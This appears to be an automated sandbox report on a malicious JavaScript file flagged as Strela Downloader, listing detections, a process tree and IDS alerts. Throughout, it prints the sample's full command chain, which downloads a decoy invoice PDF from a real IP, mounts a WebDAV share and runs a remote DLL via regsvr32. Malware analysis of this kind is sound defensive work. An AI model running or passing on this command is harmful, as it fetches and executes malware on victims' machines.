Edit tour

Windows Analysis Report
28926317492847332246.js

Overview

General Information

Sample name:	28926317492847332246.js
Analysis ID:	1588771
MD5:	21fabf69678016c2d463b35951ef2cea
SHA1:	88c3c026b28eeea763cfac810b80dee851c883b0
SHA256:	1e9da2e441d2cdbb13a59881211b46c6122947ca1e957cc4d967f7345424c41d
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4348 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28926317492847332246.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6780 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4128 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7208 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7424 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7608 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1752,i,11237480767968398890,12419897891309749261,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7224 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7328 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7492 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4348	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6780, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4128, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6780, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4128, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28926317492847332246.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28926317492847332246.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28926317492847332246.js", ProcessId: 4348, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7328, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49700

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28926317492847332246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 6780, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28926317492847332246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 6780, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28926317492847332246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 6780, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28926317492847332246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 6780, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28926317492847332246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 6780, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28926317492847332246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 6780, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28926317492847332246.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28926317492847332246.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28926317492847332246.js", ProcessId: 4348, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6780, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4128, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7224, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7328, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7492, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7224, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7328, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28926317492847332246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 6780, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:19:26.098326+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:19:28.309864+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:19:26.098326+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 28926317492847332246.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 28926317492847332246.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 28926317492847332246.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49699 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49700 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:19:25 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c 